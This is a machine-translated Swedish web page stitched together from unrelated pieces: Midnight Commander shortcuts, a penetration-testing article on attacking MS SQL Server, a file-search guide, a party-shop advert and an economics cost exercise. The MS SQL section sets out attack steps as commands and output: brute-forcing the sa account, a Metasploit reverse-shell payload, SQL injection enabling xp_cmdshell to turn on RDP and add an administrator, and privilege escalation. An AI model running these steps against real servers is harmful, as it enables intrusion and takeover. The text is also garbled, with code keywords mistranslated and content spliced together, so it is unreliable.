Metoder och verktyg för att hacking MS SQL-databaser. Metoder och verktyg för att hacka MS SQL-databaser filoperationer

övergripande

Ctrl + x, j - Visa bakgrundsuppgifter

Ctrl-X + A - aktuell VFS (ftp, etc.)

ESC + siffra - samma som F (siffra) (ESC + 5 \u003d F5)

F1-F12

F3 - Visa fil

F3 - (Vid redigering) Starta val av text. Att trycka på F3 igen slutar valet.

F4 - Filredigering

F5 - Val av kopia

F6 - Flytta val

F8 - Radera vald

Shift + F1 - snabbhopp-menyn mellan monteringspunkter på den vänstra panelen kallas

Shift + F2 - snabbhopp-menyn mellan monteringspunkter på den högra panelen kallas

Shift + F5 - kopiera en fil till samma katalog

Shift + F6 - flytta / byta namn på filen till samma katalog

sök

ctrl-s - Snabbsökning efter en fil eller katalog

alt-skift-? - Den avancerade filsökningsmenyn öppnas.

Kommandorad

ctrl-a - markör till början

ctrl-e - markör till slutet

eSC! - köra ett kommando med parametrar

ctrl-x, p eller alt + a - sätt in katalognamnet

esc, enter; ctrl-enter - skicka det aktuella objektet till kommandoraden

ctrl-x, t - Sätt i alla valda objekt i kommandoraden

esc, tab - tillägg till kommandot

alt-a - sätt in den aktuella katalogen i kommandoraden

Alt-TAB (ESC + TAB) - Den coolaste kombinationen för att hitta nedladdade filer (du glömde till exempel hur man stavar: netcfg eller netconfig. Skriv bara netto i kommandoraden och tryck på Alt-TAB - du kommer omedelbart att visas att du kan starta, vilket börjar med ord netto) klicka två gånger!
alt-skift-! - mata ut resultatet av kommandot
ctrl-shift-v - klistra in från urklipp

Filoperationer

Shift + F4 - Skapar en ny fil

shift-f6 - byta namn på fil

Ctrl + x, i - Snabbvy av information om det aktuella objektet i den andra panelen

Ctrl + x, q - Snabbvy av innehållet i filen i den andra panelen

alt-. - visa dolda filer

ctrl-x, c - filtillstånd

ctrl-x, o - filägare

Shift-F3 - visa fil (rå / exklusive förlängning)

Ctrl + x v - skapa relativ symbolisk länk

trl + x, Ctrl + s - Redigera symbolisk länk

ctrl-t - markera fil eller avmarkera

+ - välj (markera) en grupp filer med regelbundet uttryck

\\ - avmarkera en grupp filer

ctrl-x, ctrl-d - jämföra filer

ctrl-t eller Infoga - Välj det aktuella objektet

Arbeta med kataloger

alt-o - öppna katalogen under markören i den intilliggande panelen

alt-i - öppna den aktuella katalogen i den angränsande panelen

ctrl- \\ - visa "Directory Directory"

alt-shift-h - Visa kataloghistorik

Ctrl + l - Rita om skärmen

Ctrl + Mellanslag - Visa storleken på den aktuella katalogen

Ctrl-X + D - Jämför kataloger

ESC + C - snabbt byta katalog

alt-c - Fönstret "Snabbändringskatalog"

Arbeta med paneler

Ctrl-O - stäng av panelerna och se vad som finns under dem (det fungerar ENDAST i linux!) Här kan du arbeta i skal.

alt-, - Växla paneldisplayläge (vertikal / horisontell)

alt-t växla det detaljerade paneldisplayläget

Meta + c - Menyn för att ändra den aktuella katalogen på den aktiva panelen öppnas

ctrl-u - byta paneler

alt-g - markerar den första filen eller katalogen i den visade listan på panelen (väsentligen som Hem-tangenten, flyttar markören upp)

alt-e - byta panelkodning

Ctrl + x i - sätter den passiva panelen i läget "Information"

Ctrl + x q - sätter den passiva panelen i snabbvisningsläge

ctrl-x! - meny → “Kriterier för panelisering” (git)

Berättelsen

alt + h; esc, h - kommandoradshistorik

alt-p, alt-n - returnera föregående (nästa) kommandorad (er)

alt-y. Flytta till den tidigare katalogen från historiken för att flytta igenom kataloger; motsvarande att klicka på symbolen "<‘ в верхнем углу панели.

alt-u. Flytta till nästa katalog från historien att flytta igenom kataloger; vilket motsvarar att klicka på symbolen Символ\u003e.

Redaktören

F4 (i redaktören) - sök med ersättning

F6 (i redaktören) - sökning med vanligt uttryck

Shift-Del (i redaktören) - ta bort blocket (och lägg det i Urklipp)

Shift-Ins (i redigeraren) - klistra in ett block från bufferten (det fungerar även i en annan konsol !!!) Du kan redigera två eller flera filer på olika konsoler och driva block mellan dem.

Shift + F3 - Börja välja ett textblock. Att trycka på F3 igen slutar valet.

Shift + F5 - Klistra in text från mc: s interna urklipp (läs extern fil)

Meta + i - Växla "Auto-justera med vagn retur" -läge, bekvämt när du klistrar in formaterad text från Urklipp

Meta + l - Gå till raden efter dess nummer

Meta + q - Infoga en bokstavlig (ej utskrivbar karaktär). tabellen nedan

Meta + t - Sortera rader med vald text

Meta + u - Kör ett externt kommando och klistra in dess utgång i positionen under markören

Ctrl + f - Klistra in det valda fragmentet i det interna klippbordet mc (skriv till en extern fil)

Ctrl + k - Radera en del av linjen till slutet av raden

Ctrl + n - Skapa en ny fil

Ctrl + s - Aktivera eller inaktivera syntaxmarkering

Ctrl + t - Välj textkodning

Ctrl + u - Ångra åtgärder

Ctrl + x - Gå till slutet av nästa

Ctrl + y - Radera rad

Ctrl + z - Gå till början av föregående ord

Meta + Enter - Dialog till övergången till funktionsdefinitionen

Meta + - - Återgå efter övergång till funktionsdefinition

Meta ++ - Flytta fram till funktionsdefinition

Meta + n - Slå på / stänga av visningen av radnummer

flik Flyttar den markerade texten till höger om alternativet "Permanent blockerar"

Metaflik Flyttar den markerade texten till vänster om alternativet "Permanent blockerar"

Skift + pilar Välj text

Meta + pilar vertikalt blockval

Meta + Skift + - Växla visning av flikar och mellanslag

Meta + Shift ++ Växla läget "Auto-inriktning med vagn retur"

Nästan ingen allvarlig pentest kan göra utan att kontrollera DBMS, eftersom det är en av de mest populära dörrarna för angripare till önskad information och maskin. I stora projekt används MS SQL Server ofta som DBMS. Och idag talar vi om att verifiera dess säkerhet. Vi kommer inte att upptäcka Amerika - erfarna kamrater kommer bara att uppdatera sina kunskaper, men för de som just börjar behärska ämnet försökte jag sätta allt i ordning så detaljerat som möjligt.

VARNING!

All information tillhandahålls endast för informationsändamål. Varken författaren eller redaktörerna är ansvariga för eventuella skador orsakade av materialen i denna artikel.

införandet

Ett av de viktigaste kriterierna för tillförlitligheten hos ett informationssystem är DBMS-säkerheten. Attacker riktade mot den är i de flesta fall kritiska eftersom de helt eller delvis kan störa systemets prestanda. Eftersom stora organisationer bildade sin infrastruktur för länge sedan och uppdatering till nya programvaruversioner orsakar dem "stora" problem är de vanligaste versionerna fortfarande MS SQL Server 2005 och MS SQL Server 2008. Men det här är bara statistik, och vi kommer att fortsätta överväga vektorer och tekniker som är gemensamma för alla versioner. För enkelhets skull kommer vi villkorligt att dela upp hela pentestprocessen i flera steg.

Hur man hittar MS SQL

Det första en pentester börjar göra är att samla in information om tjänster som finns på offrets server. Det viktigaste du behöver veta för att söka efter Microsoft SQL Server är portnumren som den lyssnar på. Och han lyssnar på portarna 1433 (TCP) och 1434 (UDP). För att kontrollera om det finns MS SQL på offerets server måste du skanna den. För att göra detta kan du använda Nmap med ms-sql-info-skriptet. Skanningen startar så här:

Nmap -p 1433 - script \u003d ms-sql-info 192.168.18.128

Resultatet av dess implementering presenteras i fig. 1.

Förutom Nmap finns det en utmärkt skanningsmodul för Metasploit mssql_ping, som också låter dig bestämma närvaron av MS SQL på den angripna servern:

Msf\u003e använd hjälp / skanner / mssql / mssql_ping msf extrahjälp (mssql_ping)\u003e ställ in RHOSTS 192.167.1.87 RHOSTS \u003d\u003e 192.168.1.87 msf extrahjälp (mssql_ping)\u003e kör

Med ett av dessa alternativ kan du snabbt avgöra om MS SQL är installerat på servern och ta reda på dess version. Sedan kan du fortsätta till nästa steg.


Brute force

Låt oss säga att vi hittade DBMS på servern. Nu är uppgiften att få tillgång till det. Och här möts vi av det första hindret i form av autentisering. I allmänhet stöder MS SQL två typer av autentisering:

  1. Windows-autentisering är en betrodd anslutning där SQL Server accepterar ett användarkonto, förutsatt att det redan har verifierats på operativsystemnivå.
  2. Blandat läge - autentisering med SQL Server + Windows-autentisering.

Som standard används det första autentiseringsläget och blandat läge aktiveras separat. I praktiken är det ganska svårt att möta basen utan ett blandat läge - det är mer flexibelt.

Några fördelar med blandat läge

  • Aktiverar SQL Server för att stödja äldre applikationer, såväl som tredjepartsapplikationer som kräver SQL Server-verifiering.
  • Gör det möjligt för SQL Server att stödja miljöer med flera operativsystem där användare inte verifierar med en Windows-domän.
  • Tillåter programutvecklare att distribuera sina applikationer med en sofistikerad behörighetshierarki baserad på välkända, fördefinierade SQL Server-inloggningar.

I det här skedet har vi vanligtvis inte tillgång till företagets nätverk, och därför kan vi inte använda autentisering via Windows. Men vi hittade en öppen port med MS SQL, vilket innebär att vi försöker bli av med administratörskontot sa, som är standard för blandat läge. För att automatisera processen använder vi Metasploit-modulen mssql_login:

Msf\u003e använd hjälp / skanner / mssql / mssql_login msf extra (mssql_login)\u003e set RHOSTS 172.16.2.104 RHOSTS \u003d\u003e 172.16.2.104 msf extra (mssql_login)\u003e set PASS_FILE /root/Desktop.2pass 17 1433 - MSSQL - Starta autentiseringsskanner. [*] 172.16.2.104:1433 - LOGIN INNÅTT: WORKSTATION \\ sa: admin (Felaktigt :) [*] 172.16.2.104:1433 - LOGIN INNATT: WORKSTATION \\ sa: qwerty (Felaktig :) [*] 172.16.2.104:1433 - LOGIN FELT: WORKSTATION \\ sa: toor (Felaktig :) [+] 172.16.2.104:1433 - LOGIN SUCCESSFUL: WORKSTATION \\ sa: root [*] Skannad 1 av 1 värdar (100% fullständig) [*] Exekvering av hjälpmodul slutförd

Utmärkt! Lösenord hittades, nu kan vi gå vidare till nästa steg. Men vad händer om sa-kontot inte visas på servern? Då måste du brute inloggningen, för vilken det kommer att vara nödvändigt att ange skriptet till en fil till var du kan hämta dem:

Msf-hjälp (mssql_login)\u003e ställ in USER_FILE /root/Desktop/user.txt

Att få skal

Om vi \u200b\u200blyckades ta bort sa-kontot kan vi logga in på databasen. Sedan är scenariot enkelt - vi inkluderar en lagrad procedur som gör att vi kan utföra kommandon på operativsystemnivå och ladda upp det till Meterpreter-skalservern. De tuffa killarna skrev en bra modul mssql_payload för Metasploit, som automatiserar denna process:

Msf\u003e använd exploit / windows / mssql / mssql_payload msf exploit (mssql_payload)\u003e set RHOST 172.16.2.104 msf exploit (mssql_payload)\u003e ställ in USERNAME sa USERNAME \u003d\u003e sa msf exploit (mssql_payload)\u003e ställa PASSWORD root mssql_payload)\u003e ställa in PAYLOAD windows / meterpreter / reverse_tcp PAYLOAD \u003d\u003e windows / meterpreter / reverse_tcp msf exploit (mssql_payload)\u003e set LHOST 172.16.2.105 LHOST \u003d\u003e 172.16.2.105 [*] Command Stager progress - 100.00% 106 (242) ) [*] Meterpreter session 1 öppnad (172.16.2.105-00-00444 -\u003e 172.16.2.104:3987) vid 2015-02-20 10:42:52 -0500 meterpreter\u003e

Meterpreter'a-session skapad, nu har du full åtkomst. Du kan dumpa admin-hash, ta skärmdumpar, skapa / ta bort filer, slå på / stänga av musen eller tangentbordet och mycket mer. Kanske är detta det mest populära skalet som används i penetrationstester. En komplett lista över Meterpreter'a-kommandon finns.

Vad gör man om användarnamnet / lösenordet inte har tappats?

Men smickra inte dig själv, inte så ofta kommer mssql_login-modulen att behaga dig: administratörer lämnar sällan ett standardlösenord. I detta fall kommer SQL-injektion att hjälpa oss att få skalet. Föreställ dig HTML-formuläret där användaren anger artikelnumret och en enkel sårbar fråga i databasen, som alla fungerar under sa admin-kontot:

   $ strSQL \u003d "VÄLJ * FRÅN. VAR id \u003d $ id";

Variabeln $ id filtreras inte på något sätt, vilket innebär att du kan utföra en SQL-injektion där varje begäran kommer att köras från administratörskontot sa. För att kunna utföra kommandon på operativsystemnivå måste du aktivera den lagrade xp_cmdshell-proceduren, som är avstängd som standard. Vi måste skicka fyra förfrågningar för att aktivera den:

  1. EXEC sp_configure "visa avancerade alternativ", 1;
  2. reconfigure;
  3. ‘Exec sp_configure“ xp_cmdshell ”, 1;
  4. reconfigure

Den sp_configure-lagrade proceduren låter dig se, dokumentera, ändra och återställa serverkonfigurationen. Det enklaste sättet att komma åt servern är att aktivera RDP genom registret, skapa en användare med administratörsrättigheter och ansluta.

Slå på RDP:

10; reg lägg till "HKEY_LOCAL_MACHINE \\ SYSTEM \\ CurrentControlSet \\ Control \\ Terminal Server" / v fDenyTSConnections / t REG_DWORD / d 0 / f

Skapa en användare:

10; exec master.dbo.xp_cmdshell "netto användare root toor / ADD"

Vi ger rättigheterna:

10; exec master.dbo.xp_cmdshell "netto lokalgruppadministratörer root / add"

Privilegieupptrappning. PÅLITLIG

I det föregående fallet kom begäran till databasen från namnet på administratören, och därför var det så enkelt att utföra kommandon för operativsystemet. Men vad händer om vi har ett avskalat konto som inte har tillåtelse att aktivera xp_cmdshell? I detta fall kommer de lagrade procedurerna och den aktiverade TRUSTWORTHY-egenskapen i databasen att hjälpa oss.

Men låt oss börja från början. För större tydlighet av denna vektor kommer jag att beskriva hela scenen även i stadiet för konfigurationen av databasen och kontona. Skapa en ny YOLO-databas: CREATE DATABASE YOLO; . Skapa en ny bob-användare med marley-lösenordet: SKAPA LOGGA IN bob MED LÖSENORD \u003d "marley"; Vi tilldelar användarbob till ägare av YOLO-databasen:

ANVÄND YOLO ALTER LOGIN med default_database \u003d; SKAPA ANVÄNDARE FRÅN LOGGA IN; EXEC sp_addrolemember ,;

Sedan ställer vi in \u200b\u200bTRUSTWORTHY-egenskapen, som bestämmer om objekt i denna databas (vyer, användardefinierade funktioner, lagrade procedurer) ska få åtkomst till objekt utanför denna databas i efterliknadsläge: ALTER DATABASE YOLO SET TRUSTWORTHY ON. Logga in på SQL Server med bob: marley-kontot.

Vi skapar en lagrad procedur för att tilldela sysadmin-behörigheter till bob-kontot:

ANVÄND YOLO GO CREATE PROCEDURE sp_lvlup MED EXECUTE AS ÄGARE SOM EXEC sp_addsrvrolemember "bob", "sysadmin" GO

Se till att vi inte har sysadmin-behörigheter innan du kör den lagrade proceduren:

SELECT är_srvrolemember ("sysadmin") resultat \u003d 0

Utför den sp_lvlup lagrade proceduren som skapats ovan:

ANVÄND YOLO EXEC sp_lvlup

Och igen kontrollerar vi våra privilegier:

SELECT är_srvrolemember ("sysadmin") resultat \u003d 1

Sp_lvlup-proceduren skapades för att köras på ägarens vägnar, som i detta fall är administratörskontot sa. Detta är möjligt eftersom db_owner skapade en lagrad procedur för sin databas, och denna databas är konfigurerad som pålitlig, det vill säga egenskapen TRUSTWORTHY \u003d On. Utan denna egendom skulle förfarandet inte ha varit möjligt på grund av brist på privilegier. Den aktiverade TRUSTWORTHY-egenskapen är inte alltid dålig. Problem börjar när administratörer inte sänker privilegierna för databasägare. Som ett resultat tilldelas bob-kontot sysadmin-behörigheter efter att sp_lvlup har utförts. För att se vilka databaser som har TRUSTWORTHY-egenskapen aktiverad kan du använda följande fråga:

SELECT name, database_id, is_trustworthy_ON FROM sys.databases

Eller för att automatisera hela processen kan du använda modulen för Metasploit mssql_escalate_dbowner_sqli:

Använd extra / admin / mssql / mssql_escalate_dbowner_sqli set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id\u003d1+and+1\u003d;-- exploit ... [+] 172.16.2.104:80 - Framgång! Bob är nu en sysadmin!

Privilegieupptrappning. Användarnas efterbehandling

Följande vektor kallas User Impersonation. Ibland kräver lagrade procedurer åtkomst till externa resurser som ligger utanför applikationsdatabasen. För att implementera detta använder utvecklarna IMPERSONATE-behörigheterna och EXECUTE AS-funktionen, som gör att frågan kan köras på uppdrag av ett annat konto. Detta är inte en sårbarhet som sådan, utan snarare en svag konfiguration som leder till en ökning av privilegier.

Liksom i föregående exempel börjar vi analysera kärnan i vektorn i konfigurationssteget. Skapa först fyra konton:

CREATE LOGIN User1 MED PASSWORD \u003d "hemligt"; SKAPA LOGGA IN User2 MED PASSWORD \u003d "hemligt"; CREATE LOGIN User3 MED PASSWORD \u003d "hemligt"; CREATE LOGIN User4 WITH PASSWORD \u003d "hemligt";

Sedan ger vi användaren User1 privilegier att utföra förfrågningar på uppdrag av sa, User2, User3:

ANVÄND master GRAN IMPERSONAT PÅ LOGGIN :: sa till; GRAN IMPERSONAT PÅ LOGGIN :: MyUser2 till; GRAN IMPERSONAT PÅ LOGGIN :: MyUser3 till; GÅ

Vi loggar in på SQL Server under User1-kontot och kontrollerar om behörigheter har tillämpats för att köra frågor från andra konton.

VÄLJ distinkta b.name FRA sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id \u003d b.principal_id WHERE a.permission_name \u003d "IMPERSONATE"

Kontrollera nu de aktuella behörigheterna:

SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER ("sysadmin") Resultat \u003d 0

Nåväl, nu är själva tricket att utföra begäran för sa, eftersom vi ovan gav privilegier till User1-kontot att utföra förfrågningar på sa:

EXECUTE AS LOGIN \u003d "sa" SELECT SYSTEM_USER SELECT IS_SRVROLEMEMBER ("sysadmin") Resultat \u003d 1

Allt är i ordning, nu kan vi köra kommandon på uppdrag av sa, vilket innebär att du kan aktivera den lagrade xp_cmdshell-proceduren:

EXEC sp_configure "visa avancerade alternativ", 1 RECONFIGURE GO EXEC sp_configure "xp_cmdshell", 1 RECONFIGURE GO

INFO

Sysadmin-kontot kan som standard köra förfrågningar på andra användares vägnar. Frågan hjälper dig att visa en tabell med alla användare: VÄLJ * FRÅN master.sys.sysusers WHERE islogin \u003d 1. För att köra begäran på uppdrag av ett annat konto, använd EXECUTE AS LOGIN \u003d "AnyUser". För att gå tillbaka till det föregående kontot, bara fyll i REVERT-begäran.

Det är hela tricket. För automatisering kan du som vanligt använda Metasploit-modulen mssql_escalete_executeas_sqli:

Använd extra / admin / mssql / mssql_escalate_execute_as_sqliex set rhost 172.16.2.104 set rport 80 set GET_PATH /login.asp?id\u003d1+and+1\u003d;-- exploit ... [+] 172.16.2.104:80 - Framgång! User1 är nu en sysadmin!

Privilegieupptrappning. Certifikat signerade lagrade procedurer

För att beskriva denna vektor skapar du en sårbar lagrad procedur undertecknad av ett certifikat. Till skillnad från tidigare exempel krävs inte privilegier för upptrappning:

  • egenskap TRUSTWORTHY \u003d På;
  • iMPERSONATE privilegier och EXECUTE AS-funktion;
  • konfigurera en lagrad procedur med klassen WITH EXECUTE AS för att köra den på uppdrag av ett annat konto.

Skapa ett konto med minimala rättigheter:

SKAPA LOGGA IN tor med lösenord \u003d "loki"; GO - Ställ in inloggningens standarddatabas ALTER LOGIN med default_database \u003d; GÅ

Stäng av egenskapen TRUSTWORTHY: ALTER DATABASE master SET TRUSTWORTHY OFF. Och skapa en enkel lagrad procedur sp_xxx, som kommer att mata ut namnkolumnen från tempdb-databasen, såväl som från databasen som användaren skrev in:

ANVÄND MASTER; GO CREATE PROCEDURE sp_xxx @DbName varchar (max) AS BEGIN Förklara @query som varchar (max) SET @query \u003d "VÄLJ namn från master..sysdatabaser där namn som" "%" + @DbName + "%" "ELLER namn \u003d" "tempdb" ""; EXECUTE (@query) END GO

Skapa sedan en krypteringsnyckel för MASTER-databasen:

SKAPA MASTER KEY ENCRYPTION BY PASSWORD \u003d "hemligt"; GÅ

Och certifikat:

CREATE CERTIFICATE sp_xxx_cert WITH SUBJECT \u003d "För att signera sp_xxx", EXPIRY_DATE \u003d "2035-01-01"; GÅ

Nästa steg är att skapa ett användarnamn från sp_xxx-certifikatet:

SKAPA LOGGA IN sp_xxx_login FRÅN CERTIFIKAT sp_xxx_cert

Och vi undertecknar proceduren med det skapade certifikatet:

ADD SIGNATURE to sp_xxx BY CERTIFICATE sp_xxx_cert; GÅ

Tilldela sysadmin-privilegier till sp_lvlup2:

EXEC master..sp_addsrvrolemember @loginame \u003d N "sp_xxx_login", @rolename \u003d N "sysadmin" GO

Vi ger privilegier till medlemmar i den offentliga gruppen att utföra proceduren:

GRAN EXECUTE ON sp_xxx till PUBLIC

Som ett resultat skapade vi tor-användaren med minimala rättigheter, den sp_xxx lagrade proceduren som visar namnet på den angivna databasen, skapade sp_xxx_cert-certifikatet och signerade den lagrade proceduren till den och skapade sp_xxx_login-inloggningen från certifikatet och gav det sysadmin-behörigheter. På detta är den förberedande delen över. Logga in med torskontot och ring den lagrade proceduren:

EXEC MASTER.dbo.sp_xxx "master"

Som förväntat kommer det att returnera namnet på databasen vi specificerade - master och tempdb (se fig. 3).

  Fig. 3. Resultatet av att köra EXEC MASTER.dbo.sp_xxx "master"

En fråga med formen EXEC MASTER.dbo.sp_sqli2 "master" "-" kommer endast att returnera master (se figur 4).

  Fig. 4 Resultatet av att köra EXEC MASTER.dbo.xxx "master" "-"

Utmärkt. Detta innebär att den lagrade proceduren är föremål för SQL-injektion. Vi verifierar våra privilegier med följande fråga:

EXEC MASTER.dbo.sp_xxx "master" "; VÄLJ är_srvrolemember (" "sysadmin" ") som priv_certsp--";

priv_cersp \u003d 1 (se figur 5) betyder att vi har sysadmin-privilegier. Kör EXEC-befälhavaren..xp_cmdshell "whoami"; det kommer inte att fungera, eftersom tor-kontot har minimala rättigheter, men om den här begäran är inbäddad i SQL-injektionen, kommer allt att fungera (Fig. 6).

Vad som är mest intressant, ett sådant trick kommer att fungera i versionerna 2005-2014.

slutsats

Skillnaden i alla dessa vektorer är mycket betydande. I vissa fall, för att uppnå målet, kan du begränsa dig till den inkluderade TRUSTWORTHY-egenskapen, som tillåter användning av resurserna i denna databas till objekt som ligger utanför för att skapa och utföra en lagrad procedur som ökar privilegierna. Någonstans kan du utföra lagrade procedurer för andra kontors räkning på grund av IMPERSONATE-behörigheterna och EXECUTE AS-funktionen, och i tredje fall är det bara viktigt att ha en SQL-injektion genom vilken du kan injicera frågan och den kommer att köras på ett annat konto. För en fullständig förståelse av nyanser och subtilitet skulle jag rekommendera att du kontrollerar dessa vektorer på min lokala maskin.

Artikeln ger inte en uttömmande presentation av alla attackvektorer på MS SQL DBMS, men det kommer att vara mycket användbart för en ytanalys av säkerhet. Jag rekommenderar också att du bekanta dig med en annan hackingvektor via DB-länk, som beskrivs av Alexey Tyurin i decemberutgåvan] [(# 191) i avsnittet Easy Hack. Det är allt, tack för din uppmärksamhet och ses snart.

När du använder programvaruprodukter utanför hyllan, till exempel CMS Joomla, ganska ofta måste du möta det faktum att något felmeddelande eller varning visas i programmets resultat, men det finns ingen detaljerad information var detta kodfragment finns. I dessa fall är det enklaste sättet att använda filsökningen i Midnatt befälhavare   efter rad. Tänk på hur du gör detta.

Vanligtvis är den ungefärliga platsen för filen med önskat kodfragment känd. Därför går det första vi går till katalogen där filen kan placeras.

I snabbmenyn i " Börja på:» ( Från katalogen ) lämna punkten: vi finns redan i den föreslagna katalogen som innehåller filen som ska sökas. Men att välja alternativet " Tree "( Derevo), kan du välja en annan katalog att söka.

Kontextfält "Ena ble ignorera kataloger ”( ochignorera kataloger) kan lämnas tomt om du inte vill utesluta några kända kataloger från sökningen för att begränsa din sökning.

I fältet " Filnamn» ( Namn mall ) måste du ange ett filnamn eller en mall för dess namn. Mallen använder ?   för någon karaktär eller * för valfritt antal tecken. Om vi \u200b\u200binte vet något om namnet eller filändelsen känner du dig fri *.* .

Välj valfritt:

  • « Find rekursivt "( Hitta re tillursivno)
  • « Usjunga skalmönster "( Mskalkaraktärer)
  • «Cas e   känslig ”( itill och med registrera)
  • « ENll charsets "( denalla kodningar)
  • «S kip dold "( Hoppa över skr stide)

I fältet " innehåll» ( innehåll ) ange raden som Midnight Commander måste hitta i alla filer den möter.

Välj valfritt:

  • «Sea rch för innehåll "( Sök efter innehåll bratill min) ← Det här alternativet krävs för att söka efter en linje
  • «Re gular uttryck "( P regelbundet uttryck)
  • "Fall sens jagtive "( redovisning re gistra)
  • «A ll charsets "( sol e   kodningar)
  • « Whålord "( Chela fiske)
  • «Fir st hit "( Fram till den första i xozhdeniya)

Starta sökning Ok "( D alshoy), sluta använda " Cansel "( P att riva).

Efter att programmet har kört igenom alla filer kommer det att ge dem ut i form av en lista med kataloger där det finns filer med matchningar + filerna själva med radnumren där matchningar med sökfrasen hittades.

I allmänhet ett mega-bekvämt program när du söker efter vad du vet, men inte vet var du ska leta exakt. :)

Organisering av semestern är en svår uppgift. Det finns så många saker att tänka på och ta hand om. Företaget "MF-sökning" förenklar en av uppgifterna - dekor. Vi samlade semester produktkatalog, som innehåller många dekorativa medel för rum och små saker, användbara för fester.

Produktkatalog för semestern: skapa en inköpslista

MF-sökkatalogen kan kallas en färdigt inköpslista. Den har en bekväm och detaljerad struktur. Det är möjligt att komma från oss:

  • Bröllop tillbehör. Band, konfetti, lås, dekor för hallen och bilen och mycket mer.
  • Allt för karnevalet. I det här avsnittet hittar du tillbehör som krävs för att hålla en kostymfest, nyttårs karneval, Halloween, tema Birthday Ave.
  • Engångsbestick. Bordet är inte alltid täckt med porslin och keramik. Till exempel för att servera ett barnbord eller att fira födelsedag på kontoret är det bekvämare att använda pappersplattor och koppar.
  • Festleksaker och såpbubblor. Så att barn inte blir uttråkade på semestern, bör deras fritid tas om hand i förväg. Du har tur! Vi har samlat alla nödvändiga attribut, du måste bara hitta hennes ansökan.
  • Smällare och tomtebloss. De kommer att göra semestern ljus och oförglömlig.
  • Ljus. Dekorera kakan, spendera en romantisk kväll, göra en överraskning - för varje tillfälle finns det en uppsättning ljus.

Ballonger från "MF-sökning"

MF Search är den största leverantören av ballonger. Vi samarbetar med tillverkare från USA, Spanien, Mexiko. Vi tillhandahåller kvalitetscertifikat och tillhandahåller det mest kompletta sortimentet av bollar så att du för varje evenemang kan skapa din egen unika komposition. Alla ballonger i vår katalog kan delas in i latex och folie.

  • Latex. De kan väljas beroende på färg, storlek, form, tema. Vi säljer bollar med och utan mönster, samt tillhandahåller tjänsten att tillämpa logotypen. Förutom de klassiska alternativen erbjuder vi också ovanliga - punchballs, länkar, lockiga bollar och för modellering.
  • Omintetgjort. Det finns också mycket att välja mellan: promenader, stora, mini, i form av siffror. För din bekvämlighet sorterade vi produkterna efter ämne, du kan enkelt gå till sektionen med produkter för bröllop, födelsedagar, nyår och andra speciella tillfällen.

Separat placerade vi tillbehör för bollar, till exempel pinnar eller vikter. Designers kommer att vara intresserade av sektionen med utrustning - heliumcylindrar, pumpar, tryckfärg.

Varför välja ”MF-sökning”?

  • Den största katalogen med bollar.
  • Kvalitetscertifikat i öppen åtkomst.
  • Minsta beställningsbelopp är tillgängligt för varje köpare, oavsett evenemangets omfattning.
  • Alla produkter för semestern på ett ställe.
  • Rabatter på stor grossist.

Vi försöker göra din vistelse på webbplatsen bekväm, därför har vi skapat separata sektioner med nya produkter, försäljningsledare samt "Kommer snart" -meddelanden. Hos oss kommer du att vara övertygad om att det är lätt att ordna en semester!

Tabellen visar beroende av företagets totala kostnader på produktion. Beräkna kostnaderna: fast, variabel, genomsnittlig total, genomsnittlig konstant, genomsnittlig variabel. Fyll i kolumnerna FC, VC, MC, ATC, AFC, AVC i tabellen:

Totala kostnader, TC, sid.FCVCMCATCAVCAFC
0 60
1 130
2 180
3 230
4 300

lösning:

Fasta kostnader ( Fasta kostnader) - det här är kostnaderna som inte beror på volymen av produkter eller tjänster. Oavsett hur mycket ett företag producerar förändras inte värdet på fasta kostnader. Även om företaget inte har producerat en enda produktionsenhet medför det kostnader, till exempel kan det vara hyra av lokaler, värmeavgifter, kreditavgifter etc.

Således kommer FC för varje volym av utgången att vara lika med 60 p.

Variabla kostnader ( Variabla kostnader) - det här är kostnader som ändras när volymen på produkter eller tjänster förändras. Totalt med fasta kostnader lika med den totala kostnaden ( Totala kostnader):

TC \u003d FC + VC.

Härifrån:

VC \u003d TC - FC

VC (0) \u003d 60 - 60 \u003d 0,

VC (1) \u003d 130 - 60 \u003d 70,

VC (2) \u003d 180 - 60 \u003d 120,

VC (3) \u003d 230 - 60 \u003d 170,

VC (4) \u003d 300 - 60 \u003d 240.

Marginalkostnad ( Marginalkostnader) är en ökning av kostnaderna i samband med frisläppandet av en extra enhet.

MC \u003d ΔTC / ΔQ

Eftersom produktionstillväxten i detta problem alltid är lika med 1, kan vi skriva om denna formel enligt följande:

MC \u003d ΔTC / 1 \u003d ΔTC

MC (1) \u003d TC (1) - TC (0) \u003d 130 - 60 \u003d 70,

MC (2) \u003d TC (2) - TC (1) \u003d 180 - 130 \u003d 50,

MC (3) \u003d TC (3) - TC (2) \u003d 230 - 180 \u003d 50,

MC (4) \u003d TC (4) - TC (3) \u003d 300 - 230 \u003d 70.

Genomsnittliga totala kostnader ( Genomsnittliga totala kostnader) är kostnaden för att producera en utgångsenhet.

ATC \u003d TC / Q

ATC (1) \u003d TC (1) / 1 \u003d 130/1 \u003d 130,

ATC (2) \u003d TC (2) / 2 \u003d 180/2 \u003d 90,

ATC (3) \u003d TC (3) / 3 \u003d 230/3 \u003d 76,67,

ATC (4) \u003d TC (4) / 4 \u003d 300/4 \u003d 75.

Genomsnittliga fasta kostnader ( Genomsnittliga fasta kostnader) är den fasta kostnaden per utgångsenhet.

AFC \u003d FC / Q

AFC (1) \u003d FC (1) / 1 \u003d 60/1 \u003d 60,

AFC (2) \u003d FC (2) / 2 \u003d 60/2 \u003d 30,

AFC (3) \u003d FC (3) / 3 \u003d 60/3 \u003d 20,

AFC (4) \u003d FC (4) / 4 \u003d 60/4 \u003d 15.

Genomsnittliga rörliga kostnader ( Genomsnittliga rörliga kostnader) är de rörliga kostnaderna för att producera en produktionsenhet.

AVC \u003d VC / Q

AVC (1) \u003d VC (1) / 1 \u003d 70/1 \u003d 70,

AVC (2) \u003d VC (2) / 2 \u003d 120/2 \u003d 60,

AVC (3) \u003d VC (3) / 3 \u003d 170/3 \u003d 56,67,

AVC (4) \u003d VC (4) / 4 \u003d 240/4 \u003d 60.

Genom att känna till ATC och AFC kan de genomsnittliga variabla kostnaderna också hittas som skillnaden mellan den genomsnittliga totala och genomsnittliga fasta kostnader:

AVC \u003d ATC - AFC

Fyll i luckorna i tabellen:

Släpp per enhetstid, Q, st.Totala kostnader, TC, sid.FCVCMCATCAVCAFC
0 60 60 0 - - - -
1 130 60 70 70 130 70 60
2 180 60 120 50 90 60 30
3 230 60 170 50 76,67 56,67 20
4 300 60 240 70 75 60 15
